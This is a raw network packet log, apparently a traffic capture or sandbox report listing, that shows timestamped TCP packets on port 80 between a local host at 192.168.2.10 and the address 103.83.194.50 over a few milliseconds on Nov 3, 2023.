Nov 3, 2023 18:53:43.815159082 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815160990 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815224886 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815263033 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815305948 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815309048 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815363884 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815388918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815419912 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815437078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815465927 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815475941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815514088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815540075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815582037 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815602064 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815648079 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815650940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815697908 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815720081 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815748930 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815767050 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815794945 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815798044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815838099 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815856934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815900087 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815926075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815958977 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815974951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816004992 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816035986 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816071033 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816077948 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816138983 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816148996 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816195011 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816222906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816268921 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816283941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816327095 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816350937 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816395044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816417933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816467047 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816477060 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816517115 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816540003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816572905 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816589117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816622019 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816647053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816688061 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816709042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816750050 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816755056 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816787958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816797972 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816831112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816868067 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816915035 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.816937923 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816977024 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.816982031 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817018986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817044973 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817087889 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817111969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817140102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817154884 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817183018 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817215919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817260027 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817270994 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817316055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817337990 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817384005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817410946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817461014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817477942 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817526102 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817552090 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817594051 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817617893 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817666054 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817679882 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817722082 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817734957 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817771912 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817779064 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817815065 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817821980 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817866087 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817883015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817925930 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.817948103 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.817998886 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818027973 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818038940 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818053961 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818100929 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818115950 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818134069 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818159103 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818183899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818238020 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818279982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818284035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818327904 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818351984 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818397045 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818418980 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818463087 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818481922 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818526030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818604946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818651915 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818670034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818715096 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818742990 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818785906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818854094 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818896055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818914890 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.818955898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.818994999 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819031954 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.819089890 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819135904 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.819169044 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819212914 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.819339991 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819382906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.819391012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819432020 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.819458008 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819500923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.819665909 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819705963 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819711924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.819767952 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.819777012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819792032 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819834948 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.819855928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819894075 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.819897890 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819902897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.819938898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.819957972 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.819999933 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820028067 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820064068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820070982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820108891 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820136070 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820180893 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820207119 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820250034 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820266962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820313931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820322990 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820363045 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820465088 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820506096 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820585966 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820631027 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820641041 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820642948 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820683002 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820720911 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820753098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820772886 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820774078 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820822001 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820849895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820899010 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.820938110 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.820980072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821017981 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.821119070 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821233988 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.821278095 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821280956 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.821322918 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821361065 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.821402073 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821404934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.821451902 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821477890 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.821518898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821542025 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.821571112 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.821594954 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821615934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821633101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.821672916 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821774960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.821810961 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.821834087 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821860075 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821903944 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.821948051 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.821958065 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822006941 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822006941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822048903 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822069883 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822113037 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822129965 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822174072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822200060 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822227955 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822242022 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822285891 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822412968 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822458982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822485924 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822530985 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822545052 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822590113 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822607040 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822652102 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822666883 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822707891 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822753906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822793007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822809935 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822850943 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822865009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822905064 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822915077 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822952986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.822973967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.822990894 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823014021 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823031902 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823064089 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823108912 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823112011 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823153019 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823179960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823224068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823237896 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823280096 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823306084 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823334932 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823350906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823376894 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823431969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823474884 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823514938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823556900 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823615074 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823663950 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823688984 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823731899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823771000 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823818922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823851109 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823899984 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.823926926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.823973894 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824029922 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824127913 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824131966 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824173927 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824177027 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824220896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824249983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824327946 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824346066 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824372053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824390888 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824404001 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824461937 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824507952 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824517012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824559927 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824569941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824609995 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824635029 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824681997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824681997 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824727058 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824737072 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824776888 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824803114 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824846029 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824856997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824901104 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.824939013 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.824980974 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.825007915 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.825050116 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.825062037 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.825124979 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.825124979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.825176954 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.825191021 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.825237989 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.825264931 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.825306892 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.825324059 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.825365067 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.825372934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.825414896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.825442076 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.825488091 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.825501919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.825581074 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.825608015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.825651884 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.825721979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.825767040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.825804949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.825848103 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826025009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.826069117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826097012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.826143980 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826170921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.826214075 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826219082 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.826262951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826291084 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.826344967 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826349020 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.826391935 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826419115 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.826462984 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826481104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.826529980 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826534033 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.826549053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.826575994 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826596975 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826625109 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.826670885 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826787949 CET	80	49711	103.83.194.50	192.168.2.10
